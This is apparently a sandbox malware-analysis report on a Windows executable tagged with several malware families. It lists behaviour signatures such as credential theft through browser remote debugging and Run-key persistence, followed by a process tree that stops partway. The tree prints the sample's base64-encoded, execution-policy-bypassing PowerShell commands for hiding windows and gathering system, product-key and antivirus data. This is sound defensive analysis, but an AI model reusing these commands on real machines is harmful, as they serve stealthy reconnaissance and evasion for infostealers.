Overview

overview

8

Static

static

3

2026-07-04...t_.exe

windows10-2004-x64

8

2026-07-04...t_.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    63s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260630-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/07/2026, 02:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-04_7dca76c1ba890fdd36d18fb820a77d44_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 36.4MB
  • Sample260704-c7d1vaav4y
  • SHA256 73cfd71614c631dd849c115f0c7782315d92082d1596e4e995be685ad5e786d5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
credential_accessdefense_evasiondiscoveryexecutionpersistencespywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

    execution
  • Uses browser remote debugging 2 TTPs 30 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 17 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Hide Artifacts: Hidden Window 1 TTPs 4 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Looks up external IP address via web service 9 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Time Discovery 1 TTPs 8 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Kills process with taskkill 20 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-04_7dca76c1ba890fdd36d18fb820a77d44_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-04_7dca76c1ba890fdd36d18fb820a77d44_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:836
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10""
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:6004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2972
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1904
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ocfkftm0\ocfkftm0.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2696
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1B5E.tmp" "c:\Users\Admin\AppData\Local\Temp\ocfkftm0\CSC402063E1265044F58D12F51232C5FD4F.TMP"
            5⤵
              PID:524
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:6044
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:5240
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:820
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5692
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5596
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
